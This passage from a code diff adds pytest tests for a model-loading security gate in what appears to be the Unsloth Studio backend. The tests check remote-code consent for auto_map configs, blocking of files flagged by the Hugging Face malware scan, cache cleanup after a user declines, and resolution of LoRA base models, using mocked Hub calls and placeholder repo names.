+ assert not missing, ( + "transformers reads auto_map from config files the consent gate does not " + f"scan: {sorted(missing)}. Add them to REMOTE_CODE_CONFIG_FILES." + ) + + def test_load_configs_returns_empty_list_when_all_404(self): + # A remote repo shipping none of the auto_map configs (every fetch 404s) returns + # [] ("no config-based auto_map"), not None ("unknown"): [] -> no-op, while None + # would force a scan and, for a code-less repo, a false unscannable block. + with patch("huggingface_hub.hf_hub_download", side_effect = EntryNotFoundError("404")): + configs = consent._load_remote_code_configs("some/plain-repo") + assert configs == [] + # And a transient error on a config -> None (unknown -> caller scans). + with patch("huggingface_hub.hf_hub_download", side_effect = RuntimeError("blip")): + configs = consent._load_remote_code_configs("some/gated-repo") + assert configs is None + + def test_gguf_repo_auto_map_is_ignored(self): + # A GGUF repo with a vestigial auto_map loads via llama.cpp, which never runs it, + # so _config_has_auto_map must return False and skip the consent flow. + def _dl( + repo_id = None, + filename = None, + token = None, + **kw, + ): + import json + import tempfile + + if filename == "config.json": + p = Path(tempfile.mkdtemp()) / "config.json" + p.write_text( + json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.X"}}) + ) + return str(p) + raise EntryNotFoundError(filename) + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch( + "huggingface_hub.list_repo_files", + return_value = ["config.json", "model-00001-of-00097.gguf"], + ), + ): + assert consent._config_has_auto_map("unsloth/Some-Model-GGUF") is False + + def test_direct_gguf_file_reference_has_no_auto_map(self): + # A direct .gguf file reference (repo id + filename, >=3 segments) is a GGUF load: no remote code, no Hub call. + with patch("huggingface_hub.hf_hub_download", side_effect = AssertionError("no Hub call")): + assert consent._config_has_auto_map("org/repo/model.gguf") is False + + def test_remote_repo_named_gguf_is_not_suffix_skipped(self): + # A two-segment repo id whose name ends in ".gguf" is not a direct file reference: + # it can still ship safetensors + auto_map Python, so it must be scanned. + def _dl( + repo_id = None, + filename = None, + token = None, + **kw, + ): + import json + import tempfile + + if filename == "config.json": + p = Path(tempfile.mkdtemp()) / "config.json" + p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.X"}})) + return str(p) + raise EntryNotFoundError(filename) + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch( + "huggingface_hub.list_repo_files", + return_value = ["config.json", "model.safetensors", "model.gguf", "modeling_x.py"], + ), + ): + # Ships safetensors -> not a GGUF-only repo -> the auto_map gates. + assert consent._config_has_auto_map("evil/model.gguf") is True + + def test_mixed_gguf_and_safetensors_repo_is_still_gated(self): + # A repo with both .gguf and .safetensors is not treated as GGUF: the safetensors + # could load via transformers where auto_map runs, so the gate must still apply. + def _dl( + repo_id = None, + filename = None, + token = None, + **kw, + ): + import json + import tempfile + + if filename == "config.json": + p = Path(tempfile.mkdtemp()) / "config.json" + p.write_text(json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_x.X"}})) + return str(p) + raise EntryNotFoundError(filename) + + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch( + "huggingface_hub.list_repo_files", + return_value = ["config.json", "model.safetensors", "model.gguf"], + ), + ): + assert consent._config_has_auto_map("org/Mixed-Repo") is True + + def test_mixed_gguf_and_bin_repo_is_still_gated(self): + # A repo with .gguf + a non-safetensors transformers weight (.bin/.pt/.pth/.h5/ + # .msgpack/.onnx/.ckpt) is not GGUF-only: transformers can load it and run + # auto_map, so the gate still applies even with no .safetensors present. + def _dl( + repo_id = None, + filename = None, + token = None, + **kw, + ): + import json + import tempfile + + if filename == "config.json": + p = Path(tempfile.mkdtemp()) / "config.json" + p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.X"}})) + return str(p) + raise EntryNotFoundError(filename) + + for weight in ( + "pytorch_model.bin", + "model.pt", + "model.pth", + "tf_model.h5", + "flax_model.msgpack", + "model.onnx", + "model.ckpt", + ): + with ( + patch("huggingface_hub.hf_hub_download", side_effect = _dl), + patch( + "huggingface_hub.list_repo_files", + return_value = ["config.json", "modeling_x.py", weight, "model.gguf"], + ), + ): + assert consent._config_has_auto_map("org/Mixed-Bin-GGUF") is True, weight + + +# POST /discard-remote-code: purge what the scan downloaded on decline, but never a +# model the user already had (weights), a loaded model, or a local path. + + +class TestDiscardRemoteCodeDownload: + @staticmethod + def _fake_cache(filenames): + files = [ + SimpleNamespace(file_name = fn, file_path = f"/snap/{fn}", blob_path = f"/blob/{fn}") + for fn in filenames + ] + rev = SimpleNamespace(commit_hash = "deadbeef", files = files) + repo = SimpleNamespace(repo_type = "model", repo_id = "evil/repo", revisions = [rev]) + return SimpleNamespace(repos = [repo], delete_revisions = MagicMock()) + + def _run(self, model_name, cache_scans): + import asyncio + + import routes.models as M + + not_loaded = SimpleNamespace(active_model_name = None) + with ( + patch.object(M, "is_local_path", return_value = model_name.startswith("/")), + patch.object(M, "_all_hf_cache_scans", return_value = cache_scans), + patch.object(M, "get_inference_backend", return_value = not_loaded), + patch( + "routes.inference.get_llama_cpp_backend", + return_value = SimpleNamespace(is_loaded = False, model_identifier = None), + ), + ): + return asyncio.run(M.discard_remote_code_download(model_name, current_subject = "t")) + + def test_purges_metadata_only_entry(self): + cache = self._fake_cache(["config.json", "tokenizer_config.json", "modeling_evil.py"]) + res = self._run("evil/repo", [cache]) + assert res["deleted"] is True + cache.delete_revisions.assert_called_once_with("deadbeef") + + def test_refuses_when_weights_present(self): + cache = self._fake_cache(["config.json", "model.safetensors"]) + res = self._run("evil/repo", [cache]) + assert res == {"deleted": False, "reason": "has_weights"} + cache.delete_revisions.assert_not_called() + + def test_refuses_when_gguf_present(self): + cache = self._fake_cache(["config.json", "model.Q4_K_M.gguf"]) + res = self._run("evil/repo", [cache]) + assert res["reason"] == "has_weights" + + def test_refuses_local_path(self): + res = self._run("/home/me/model", []) + assert res == {"deleted": False, "reason": "local"} + + def test_noop_when_not_cached(self): + res = self._run("evil/repo", []) + assert res == {"deleted": False, "reason": "not_cached"} + + def test_route_source_reports_created_by_scan(self): + src = (_BACKEND / "routes/models.py").read_text() + assert "created_by_scan" in src + assert "discard-remote-code" in src diff --git a/studio/backend/tests/test_file_security.py b/studio/backend/tests/test_file_security.py new file mode 100644 index 0000000000..b4c8f5d242 --- /dev/null +++ b/studio/backend/tests/test_file_security.py @@ -0,0 +1,534 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for the malware / unsafe-file gate (utils.security.file_security). + +The gate reads HF's security scan (model_info securityStatus) metadata-only and never +downloads flagged files; only the Hub call is stubbed. Policy: block a non-"safe" level +(unknown levels fail closed), fail open when the scan is unavailable, skip local paths +only, no first-party exemption. The block is scoped to the load-path RCE vector (a +root-level code-executing file), so flagged safetensors and subdir pickles do not block. +""" + +from types import SimpleNamespace +from unittest.mock import patch + +import pytest + +from utils.security import evaluate_file_security + + +def _patch_status(status): + """Patch huggingface_hub.model_info to return one fixed security_repo_status.""" + + def _mi(*_args, **_kwargs): + return SimpleNamespace(security_repo_status = status) + + return patch("huggingface_hub.model_info", side_effect = _mi) + + +def _patch_raises(exc = RuntimeError("offline")): + return patch("huggingface_hub.model_info", side_effect = exc) + + +def _patch_no_index(): + """Make the weight-index lookup find no index files (definitive: nothing sharded).""" + from huggingface_hub.utils import EntryNotFoundError + + def _dl( + repo_id = None, + filename = None, + token = None, + **kw, + ): + raise EntryNotFoundError(filename or "") + + return patch("huggingface_hub.hf_hub_download", side_effect = _dl) + + +def _patch_index(weight_map, index_filename = "pytorch_model.bin.index.json"): + """Serve a root weight index mapping tensor names -> shard paths; others 404.""" + import json + import tempfile + from pathlib import Path + + from huggingface_hub.utils import EntryNotFoundError + + def _dl( + repo_id = None, + filename = None, + token = None, + **kw, + ): + if filename == index_filename: + p = Path(tempfile.mkdtemp()) / filename + p.write_text(json.dumps({"weight_map": weight_map})) + return str(p) + raise EntryNotFoundError(filename or "") + + return patch("huggingface_hub.hf_hub_download", side_effect = _dl) + + +def _patch_index_unreadable(): + """Make every index fetch fail transiently (inconclusive lookup -> fail closed).""" + + def _dl( + repo_id = None, + filename = None, + token = None, + **kw, + ): + raise RuntimeError("transient network error") + + return patch("huggingface_hub.hf_hub_download", side_effect = _dl) + + +def _patch_index_mixed(weight_map, readable_index, failing_index): + """Serve one index cleanly while another fails transiently: the flagged shard is + listed only by the index we could not read, so a naive "read any index?" check breaks.""" + import json + import tempfile + from pathlib import Path + + from huggingface_hub.utils import EntryNotFoundError + + def _dl( + repo_id = None, + filename = None, + token = None, + **kw, + ): + if filename == readable_index: + p = Path(tempfile.mkdtemp()) / filename + p.write_text(json.dumps({"weight_map": weight_map})) + return str(p) + if filename == failing_index: + raise RuntimeError("transient network error") + raise EntryNotFoundError(filename or "") + + return patch("huggingface_hub.hf_hub_download", side_effect = _dl) + + +@pytest.mark.parametrize("level", ["unsafe", "suspicious", "malicious"]) +def test_blocks_each_blocking_level(level): + status = {"scansDone": True, "filesWithIssues": [{"path": "pytorch_model.bin", "level": level}]} + with _patch_status(status): + d = evaluate_file_security("evil/repo") + assert d.blocked is True + assert d.unsafe_files == [{"path": "pytorch_model.bin", "level": level}] + assert d.response_payload()["security_blocked"] is True + + +def test_ignores_safe_only(): + status = { + "scansDone": True, + "filesWithIssues": [{"path": "model.safetensors", "level": "safe"}], + } + with _patch_status(status): + d = evaluate_file_security("good/repo") + assert d.blocked is False + assert d.unsafe_files == [] + + +def test_blocks_unsafe_even_when_scans_not_done(): + # scansDone is often False for clean repos; an already-flagged file must still block. + status = {"scansDone": False, "filesWithIssues": [{"path": "x.pkl", "level": "unsafe"}]} + with _patch_status(status): + d = evaluate_file_security("evil/repo") + assert d.blocked is True + + +def test_fail_open_when_scan_unavailable(): + # model_info returns no security_repo_status -> unknown -> allow. + with _patch_status(None): + d = evaluate_file_security("unknown/repo") + assert d.blocked is False + + +def test_fail_open_on_exception_offline(): + with _patch_raises(): + d = evaluate_file_security("offline/repo") + assert d.blocked is False + + +def test_fail_open_scans_done_no_issues(): + with _patch_status({"scansDone": True, "filesWithIssues": []}): + d = evaluate_file_security("clean/repo") + assert d.blocked is False + + +def test_skips_local_path(): + # A local path has no Hub scan; must not even call model_info. + with patch("huggingface_hub.model_info", side_effect = AssertionError("should not be called")): + d = evaluate_file_security("/tmp/some/local/model") + assert d.blocked is False + assert "local" in d.reason + + +def test_remote_gguf_named_repo_is_still_scanned(): + # Only LOCAL paths skip the Hub scan, so a remote .gguf repo is still scanned and a + # poisoned pickle smuggled into it is blocked. + status = { + "scansDone": True, + "filesWithIssues": [{"path": "pytorch_model.bin", "level": "unsafe"}], + } + with _patch_status(status): + d = evaluate_file_security("evil/model.gguf") + assert d.blocked is True + assert d.unsafe_files + + +def test_skips_local_gguf_file(): + # A local .gguf path is caught by is_local_path -- no Hub call. + with patch("huggingface_hub.model_info", side_effect = AssertionError("should not be called")): + d = evaluate_file_security("/tmp/models/model.gguf") + assert d.blocked is False + assert "local" in d.reason + + +def test_no_first_party_exemption(): + # A poisoned pickle in a first-party repo still blocks (compromised-repo defense). + status = { + "scansDone": True, + "filesWithIssues": [{"path": "pytorch_model.bin", "level": "unsafe"}], + } + with _patch_status(status): + d = evaluate_file_security("unsloth/some-model") + assert d.blocked is True + + +def test_malformed_entries_are_ignored(): + status = { + "scansDone": True, + "filesWithIssues": ["not-a-dict", {"path": "ok.pkl", "level": "unsafe"}], + } + with _patch_status(status): + d = evaluate_file_security("evil/repo") + assert d.blocked is True + assert d.unsafe_files == [{"path": "ok.pkl", "level": "unsafe"}] + + +def test_response_payload_shape(): + status = {"scansDone": True, "filesWithIssues": [{"path": "a.pkl", "level": "malicious"}]} + with _patch_status(status): + payload = evaluate_file_security("evil/repo").response_payload() + assert set(payload) == {"unsafe_files", "security_blocked", "reason"} + assert payload["security_blocked"] is True + assert payload["unsafe_files"] == [{"path": "a.pkl", "level": "malicious"}] + + +# ── Load-path RCE scoping: block only files a load would actually deserialize ── + + +def test_flagged_safetensors_does_not_block(): + # safetensors is tensor-only and cannot execute code, so a flag on one (often + # picklescan tripping on a sibling pickle) is not an RCE vector and must not block. + status = { + "scansDone": False, + "filesWithIssues": [{"path": "model-00001-of-00004.safetensors", "level": "unsafe"}], + } + with _patch_status(status): + d = evaluate_file_security("nvidia/some-model") + assert d.blocked is False + assert d.unsafe_files == [] + + +def test_flagged_subdirectory_pickle_does_not_block(): + # from_pretrained reads only root weights; a flagged subdir pickle no root index + # references (e.g. a NeMo checkpoint) is never loaded, so it must not block. + status = { + "scansDone": False, + "filesWithIssues": [ + {"path": "nemo/weights/common.pt", "level": "unsafe"}, + {"path": "nemo/weights/__0_0.distcp", "level": "unsafe"}, + ], + } + with _patch_status(status), _patch_no_index(): + d = evaluate_file_security("nvidia/some-model") + assert d.blocked is False + assert d.unsafe_files == [] + + +def test_nemotron_h_shaped_status_loads(): + # Real Nemotron-H-8B-Base-8K shape: flagged root safetensors + unreferenced nemo/ + # pickles. None is a load-path vector, so it must load. + status = { + "scansDone": False, + "filesWithIssues": [ + {"path": "nemo/weights/.metadata", "level": "unsafe"}, + {"path": "nemo/weights/__0_0.distcp", "level": "unsafe"}, + {"path": "nemo/weights/common.pt", "level": "unsafe"}, + {"path": "model-00001-of-00004.safetensors", "level": "unsafe"}, + {"path": "model-00002-of-00004.safetensors", "level": "unsafe"}, + ], + } + with _patch_status(status), _patch_no_index(): + d = evaluate_file_security("nvidia/Nemotron-H-8B-Base-8K") + assert d.blocked is False + assert d.unsafe_files == [] + + +def test_indexed_subdir_shard_blocks(): + # A flagged subdir shard that a root index references IS deserialized, so it blocks. + status = { + "scansDone": False, + "filesWithIssues": [ + {"path": "shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"}, + ], + } + weight_map = { + "layer.0.weight": "shards/pytorch_model-00001-of-00002.bin", + "layer.1.weight": "shards/pytorch_model-00002-of-00002.bin", + } + with _patch_status(status), _patch_index(weight_map): + d = evaluate_file_security("evil/sharded") + assert d.blocked is True + assert d.unsafe_files == [ + {"path": "shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"} + ] + + +def test_unindexed_subdir_pickle_does_not_block_when_index_present(): + # An index exists but does not list the flagged subdir pickle -> not loaded -> no block. + status = { + "scansDone": False, + "filesWithIssues": [{"path": "extras/notes.bin", "level": "unsafe"}], + } + weight_map = {"layer.0.weight": "pytorch_model-00001-of-00001.bin"} + with _patch_status(status), _patch_index(weight_map): + d = evaluate_file_security("org/has-index") + assert d.blocked is False + assert d.unsafe_files == [] + + +def test_inconclusive_index_lookup_blocks_subdir_pickle(): + # An unreadable index can't rule out that the flagged subdir pickle is a shard -> block. + status = { + "scansDone": False, + "filesWithIssues": [{"path": "weights/model_part.bin", "level": "unsafe"}], + } + with _patch_status(status), _patch_index_unreadable(): + d = evaluate_file_security("org/transient") + assert d.blocked is True + assert d.unsafe_files == [{"path": "weights/model_part.bin", "level": "unsafe"}] + + +def test_partial_index_read_with_transient_failure_blocks_subdir_pickle(): + # The bin index (which would list the flagged shard) fails transiently; a partial + # path set is not definitive, so fail closed. + status = { + "scansDone": False, + "filesWithIssues": [ + {"path": "shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"}, + ], + } + # The readable index lists only benign shards; the flagged .bin is in the unread index. + safetensors_map = {"layer.0.weight": "model-00001-of-00001.safetensors"} + with ( + _patch_status(status), + _patch_index_mixed( + safetensors_map, + readable_index = "model.safetensors.index.json", + failing_index = "pytorch_model.bin.index.json", + ), + ): + d = evaluate_file_security("evil/mixed-index") + assert d.blocked is True + assert d.unsafe_files == [ + {"path": "shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"} + ] + + +def test_root_pickle_alongside_safetensors_still_blocks(): + # A real root pickle blocks even alongside a flagged safetensors; it is a load-path vector. + status = { + "scansDone": False, + "filesWithIssues": [ + {"path": "model.safetensors", "level": "unsafe"}, + {"path": "pytorch_model.bin", "level": "unsafe"}, + ], + } + with _patch_status(status): + d = evaluate_file_security("evil/repo") + assert d.blocked is True + assert d.unsafe_files == [{"path": "pytorch_model.bin", "level": "unsafe"}] + + +def test_eicar_shaped_root_files_block(): + # The canonical eicar repo ships its dangerous files at the ROOT, so it stays blocked. + status = { + "scansDone": True, + "filesWithIssues": [ + {"path": "model_broken_X.pkl", "level": "unsafe"}, + {"path": "danger.dat", "level": "unsafe"}, + {"path": "eicar_test_file", "level": "unsafe"}, + ], + } + with _patch_status(status): + d = evaluate_file_security("mcpotato/42-eicar-street") + assert d.blocked is True + assert len(d.unsafe_files) == 3 + + +def test_unknown_future_level_fails_closed(): + # Hub schema drift: an unrecognized non-"safe" level (e.g. "infected") on a root pickle must block. + status = {"scansDone": True, "filesWithIssues": [{"path": "weights.bin", "level": "infected"}]} + with _patch_status(status): + d = evaluate_file_security("evil/repo") + assert d.blocked is True + assert d.unsafe_files == [{"path": "weights.bin", "level": "infected"}] + + +def test_pending_or_scanning_level_does_not_block(): + # A not-yet-finished per-file scan state must not false-block. + for lvl in ("pending", "scanning", "queued", "unscanned", "error"): + status = { + "scansDone": False, + "filesWithIssues": [{"path": "pytorch_model.bin", "level": lvl}], + } + with _patch_status(status): + d = evaluate_file_security("some/repo") + assert d.blocked is False, lvl + + +# -- Subdir load roots: Spark-TTS / BiCodec load from_pretrained(/LLM) -- + + +def test_flagged_pickle_under_load_subdir_blocks(): + # A flagged pickle directly under a declared load subdir is a root-level artifact there. + status = { + "scansDone": False, + "filesWithIssues": [{"path": "LLM/pytorch_model.bin", "level": "unsafe"}], + } + with _patch_status(status), _patch_no_index(): + d = evaluate_file_security("org/spark-tts", load_subdirs = ("LLM",)) + assert d.blocked is True + assert d.unsafe_files == [{"path": "LLM/pytorch_model.bin", "level": "unsafe"}] + + +def test_flagged_pickle_under_subdir_without_load_root_does_not_block(): + # Same file, but NOT declared a load root and not indexed -> not deserialized. + status = { + "scansDone": False, + "filesWithIssues": [{"path": "LLM/pytorch_model.bin", "level": "unsafe"}], + } + with _patch_status(status), _patch_no_index(): + d = evaluate_file_security("org/not-a-load-root") + assert d.blocked is False + assert d.unsafe_files == [] + + +def test_indexed_shard_under_load_subdir_blocks(): + # An index inside the load subdir referencing a flagged shard makes it a vector. + status = { + "scansDone": False, + "filesWithIssues": [ + {"path": "LLM/shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"} + ], + } + weight_map = { + "layer.0.weight": "shards/pytorch_model-00001-of-00002.bin", + "layer.1.weight": "shards/pytorch_model-00002-of-00002.bin", + } + with ( + _patch_status(status), + _patch_index(weight_map, index_filename = "LLM/pytorch_model.bin.index.json"), + ): + d = evaluate_file_security("org/spark-tts", load_subdirs = ("LLM",)) + assert d.blocked is True + + +# -- Source files are the consent gate's domain, not a deserialization vector -- + + +def test_flagged_root_python_helper_does_not_block(): + # A root .py is never deserialized; repo code runs only via auto_map under the consent + # gate, so flagging it here would false-block. + status = { + "scansDone": True, + "filesWithIssues": [ + {"path": "build_pickles.py", "level": "unsafe"}, + {"path": "train.py", "level": "suspicious"}, + ], + } + with _patch_status(status): + d = evaluate_file_security("org/has-helper-scripts") + assert d.blocked is False + assert d.unsafe_files == [] + + +def test_root_pickle_still_blocks_with_flagged_python_sibling(): + # The .py exemption must not mask a genuine root pickle in the same repo. + status = { + "scansDone": True, + "filesWithIssues": [ + {"path": "convert.py", "level": "unsafe"}, + {"path": "pytorch_model.bin", "level": "unsafe"}, + ], + } + with _patch_status(status): + d = evaluate_file_security("evil/mixed") + assert d.blocked is True + + +# -- Alias resolution: scan the repo the loader actually fetches from -- + + +def _patch_status_capture(status): + """Like _patch_status, but records the repo id model_info was queried with.""" + seen = {} + + def _mi(repo, *_a, **_k): + seen["repo"] = repo + return SimpleNamespace(security_repo_status = status) + + return patch("huggingface_hub.model_info", side_effect = _mi), seen + + +def test_spark_tts_llm_alias_scans_real_repo(): + # "Spark-TTS-0.5B/LLM" loads as unsloth/Spark-TTS-0.5B with LLM as load root; scanning + # the literal alias 404s and fails open, missing a flagged LLM/ pickle. + status = {"filesWithIssues": [{"path": "LLM/pytorch_model.bin", "level": "unsafe"}]} + cap, seen = _patch_status_capture(status) + with cap, patch("utils.paths.is_local_path", return_value = False), _patch_no_index(): + d = evaluate_file_security("Spark-TTS-0.5B/LLM", load_subdirs = ()) + assert seen["repo"] == "unsloth/Spark-TTS-0.5B" # scanned the real repo, not the alias + assert d.model_name == "unsloth/Spark-TTS-0.5B" + assert d.blocked is True + assert d.unsafe_files == [{"path": "LLM/pytorch_model.bin", "level": "unsafe"}] + + +def test_non_llm_alias_is_not_rewritten(): + # A normal repo id with one slash must be scanned as-is (no spurious rewrite). + status = {"filesWithIssues": [{"path": "pytorch_model.bin", "level": "unsafe"}]} + cap, seen = _patch_status_capture(status) + with cap, patch("utils.paths.is_local_path", return_value = False): + d = evaluate_file_security("org/model") + assert seen["repo"] == "org/model" + assert d.model_name == "org/model" + + +def test_generic_slash_llm_repo_is_scanned_as_itself(): + # A third-party repo merely ending in "/LLM" is not a bicodec alias, so it must be + # scanned as itself; rewriting to unsloth/ would scan the wrong repo. + status = {"filesWithIssues": [{"path": "pytorch_model.bin", "level": "unsafe"}]} + cap, seen = _patch_status_capture(status) + with cap, patch("utils.paths.is_local_path", return_value = False): + d = evaluate_file_security("evil/LLM") + assert seen["repo"] == "evil/LLM" # scanned the real repo, not unsloth/evil + assert d.model_name == "evil/LLM" + assert d.blocked is True + + +def test_security_load_subdirs_yaml_fallback(monkeypatch): + # Tokenizer detection failed, but a YAML default of audio_type=bicodec still yields LLM. + import utils.models.model_config as mc + from utils.security import security_load_subdirs + + monkeypatch.setattr(mc, "detect_audio_type", lambda *_a, **_k: None) + monkeypatch.setattr(mc, "load_model_defaults", lambda *_a, **_k: {"audio_type": "bicodec"}) + assert security_load_subdirs("unsloth/Spark-TTS-0.5B") == ("LLM",) + + # A non-bicodec default contributes no subdir. + monkeypatch.setattr(mc, "load_model_defaults", lambda *_a, **_k: {"audio_type": None}) + assert security_load_subdirs("unsloth/Llama-3.2-1B") == () diff --git a/studio/backend/tests/test_models_get_model_config_case_resolution.py b/studio/backend/tests/test_models_get_model_config_case_resolution.py index 417ec74d17..12f6c497ab 100644 --- a/studio/backend/tests/test_models_get_model_config_case_resolution.py +++ b/studio/backend/tests/test_models_get_model_config_case_resolution.py @@ -77,3 +77,29 @@ def test_get_model_config_resolves_cached_case_before_model_checks(monkeypatch): assert calls["is_embedding_model"] == "Org/Model" assert calls["detect_audio_type"] == "Org/Model" assert calls["from_identifier"] == "Org/Model" + + +def test_repo_in_any_hf_cache_matches_case_variant_in_legacy_cache(tmp_path, monkeypatch): + # A case-variant in a legacy/default cache must read as present (case resolution only + # covers the active cache; discard deletes case-insensitively, so detection must too, + # else a decline deletes a pre-existing user repo). + import utils.paths as paths_pkg + import huggingface_hub.constants as hf_constants + + active = tmp_path / "active" + legacy = tmp_path / "legacy" + default = tmp_path / "default" + for d in (active, legacy, default): + d.mkdir() + # Differently-cased entry in the legacy cache only. + (legacy / "models--Unsloth--Foo").mkdir() + + # No active-cache variant; case resolution is a no-op here. + monkeypatch.setattr(paths_pkg, "resolve_cached_repo_id_case", lambda name: name) + monkeypatch.setattr(paths_pkg, "legacy_hf_cache_dir", lambda: legacy) + monkeypatch.setattr(paths_pkg, "hf_default_cache_dir", lambda: default) + monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(active)) + + assert models_route._repo_in_any_hf_cache("unsloth/foo") is True + # Absent from every cache -> reported absent. + assert models_route._repo_in_any_hf_cache("unsloth/not-cached") is False diff --git a/studio/backend/tests/test_security_gate_consistency.py b/studio/backend/tests/test_security_gate_consistency.py new file mode 100644 index 0000000000..db66df8a30 --- /dev/null +++ b/studio/backend/tests/test_security_gate_consistency.py @@ -0,0 +1,101 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Deterministic consistency guards for the model-load security gate. + +The gate spans many parallel sites (validate/load/status, the inference/training/export +workers, the preflight route); past regressions were a fix at one site with a sibling +left behind. These guards enumerate the sites mechanically (AST + source) so a new site +that drops the token or mis-reports the requirement fails here, not in a later review. +""" + +import ast +from pathlib import Path + +_BACKEND = Path(__file__).resolve().parent.parent + +# Probes read Hub config to classify a model; a token-less call 404s on a gated repo. +# Scan callers under routes/ and core/ (probe definitions live in utils/). +_PROBE_FUNCS = {"is_vision_model", "is_embedding_model", "detect_audio_type"} +_PROBE_CALLER_ROOTS = ("routes", "core") + + +def _iter_caller_files(): + for root in _PROBE_CALLER_ROOTS: + yield from (_BACKEND / root).rglob("*.py") + + +def _passes_token(call: ast.Call) -> bool: + """True if the call passes an hf_token (keyword, or the 2nd positional slot).""" + if any(kw.arg in ("hf_token", "token") for kw in call.keywords if kw.arg is not None): + return True + return len(call.args) >= 2 + + +def _call_name(call: ast.Call): + fn = call.func + return fn.id if isinstance(fn, ast.Name) else getattr(fn, "attr", None) + + +def test_capability_probes_thread_the_hf_token(): + """Every capability-probe caller passes the token; a token-less probe misclassifies + a gated model (the /check-vision regression).""" + offenders = [] + for path in _iter_caller_files(): + try: + tree = ast.parse(path.read_text()) + except SyntaxError: + continue + for node in ast.walk(tree): + if isinstance(node, ast.Call) and _call_name(node) in _PROBE_FUNCS: + if not _passes_token(node): + rel = path.relative_to(_BACKEND) + offenders.append(f"{rel}:{node.lineno} {_call_name(node)}() drops the hf_token") + assert not offenders, ( + "A capability probe must pass the hf_token so gated/private models classify " + "correctly:\n " + "\n ".join(offenders) + ) + + +def test_gguf_trust_remote_code_reported_inert_not_from_yaml(): + """GGUF never executes auto_map, so requires_trust_remote_code is reported via the + resolver or False, never the raw YAML bool() (the round-6 regression).""" + src = (_BACKEND / "routes" / "inference.py").read_text() + assert "requires_trust_remote_code = bool(" not in src, ( + "Report requires_trust_remote_code via _resolve_loaded_trust_remote_code " + "(non-GGUF) or set it False (GGUF); never bool(inference_config.get(...))." + ) + + +def test_capability_detection_caches_are_token_aware(): + """Every capability cache is keyed by (model, token_fingerprint) so an unauthenticated + miss cannot poison a later authenticated lookup (the audio-cache regression).""" + src = (_BACKEND / "utils" / "models" / "model_config.py").read_text() + offenders = [] + for line in src.splitlines(): + stripped = line.strip() + if "_detection_cache:" in stripped and stripped.endswith("= {}"): + if "Dict[Tuple" not in stripped and "Dict[tuple" not in stripped: + offenders.append(stripped) + assert not offenders, ( + "A capability cache must be keyed by (model, token_fingerprint), not the bare " + "model name:\n " + "\n ".join(offenders) + ) + + +def test_malware_and_consent_gates_cover_the_lora_base(): + """Every worker that runs a load gate also resolves the LoRA base, so a poisoned or + custom-code base is never skipped.""" + gated_workers = [ + "core/inference/worker.py", + "core/export/worker.py", + "core/training/worker.py", + ] + offenders = [] + for rel in gated_workers: + src = (_BACKEND / rel).read_text() + runs_gate = "evaluate_file_security(" in src or "evaluate_remote_code_consent" in src + resolves_base = "get_base_model_from_lora_identifier(" in src or "base_model" in src + if runs_gate and not resolves_base: + offenders.append(f"{rel} runs a load gate but never resolves the LoRA base") + assert not offenders, "\n".join(offenders) diff --git a/studio/backend/tests/test_trained_model_scan.py b/studio/backend/tests/test_trained_model_scan.py index 1958c8d570..7bf572e214 100644 --- a/studio/backend/tests/test_trained_model_scan.py +++ b/studio/backend/tests/test_trained_model_scan.py @@ -24,6 +24,7 @@ from utils.models.model_config import ( ModelConfig, get_base_model_from_checkpoint, get_base_model_from_lora, + get_base_model_from_lora_identifier, scan_trained_models, ) @@ -76,6 +77,83 @@ def test_get_base_model_from_lora_rejects_full_finetune_dirs(tmp_path: Path): assert get_base_model_from_lora(str(tmp_path)) is None +def test_lora_identifier_resolves_local_dir_like_the_local_helper(tmp_path: Path): + # Local path: behaves like the directory reader, no Hub call. + (tmp_path / "adapter_config.json").write_text( + json.dumps({"base_model_name_or_path": "HuggingFaceTB/SmolLM-135M"}) + ) + (tmp_path / "adapter_model.safetensors").write_bytes(b"") + with patch("huggingface_hub.hf_hub_download", side_effect = AssertionError("no Hub call")): + assert get_base_model_from_lora_identifier(str(tmp_path)) == "HuggingFaceTB/SmolLM-135M" + + +def test_lora_identifier_resolves_remote_adapter_base(tmp_path: Path): + # Remote adapter: the identifier helper fetches adapter_config.json from the Hub so + # the gate can scan the base, where the local helper returns None. + cfg = tmp_path / "adapter_config.json" + cfg.write_text(json.dumps({"base_model_name_or_path": "unsloth/Llama-3.2-1B-Instruct"})) + + def _dl( + repo, + fn, + token = None, + ): + assert repo == "someone/my-remote-lora" + assert fn == "adapter_config.json" + return str(cfg) + + assert get_base_model_from_lora("someone/my-remote-lora") is None # local-only: misses it + with patch("huggingface_hub.hf_hub_download", side_effect = _dl): + base = get_base_model_from_lora_identifier("someone/my-remote-lora") + assert base == "unsloth/Llama-3.2-1B-Instruct" + + +def test_lora_identifier_returns_none_for_non_adapter_remote_repo(): + # Non-LoRA remote repo: a 404 on adapter_config.json returns None without retrying. + from huggingface_hub.utils import EntryNotFoundError + + mock = patch("huggingface_hub.hf_hub_download", side_effect = EntryNotFoundError("404")) + with mock as m: + assert get_base_model_from_lora_identifier("unsloth/Llama-3.2-1B-Instruct") is None + assert m.call_count == 1 # 404 is definitive -> no retry + + +def test_lora_identifier_retries_transient_then_resolves(tmp_path: Path): + # A transient error is retried (not treated as "not a LoRA"); the retry resolves the base. + cfg = tmp_path / "adapter_config.json" + cfg.write_text(json.dumps({"base_model_name_or_path": "unsloth/Llama-3.2-1B-Instruct"})) + calls = {"n": 0} + + def _dl( + repo, + fn, + token = None, + ): + calls["n"] += 1 + if calls["n"] == 1: + raise RuntimeError("transient network blip") + return str(cfg) + + with patch("huggingface_hub.hf_hub_download", side_effect = _dl): + base = 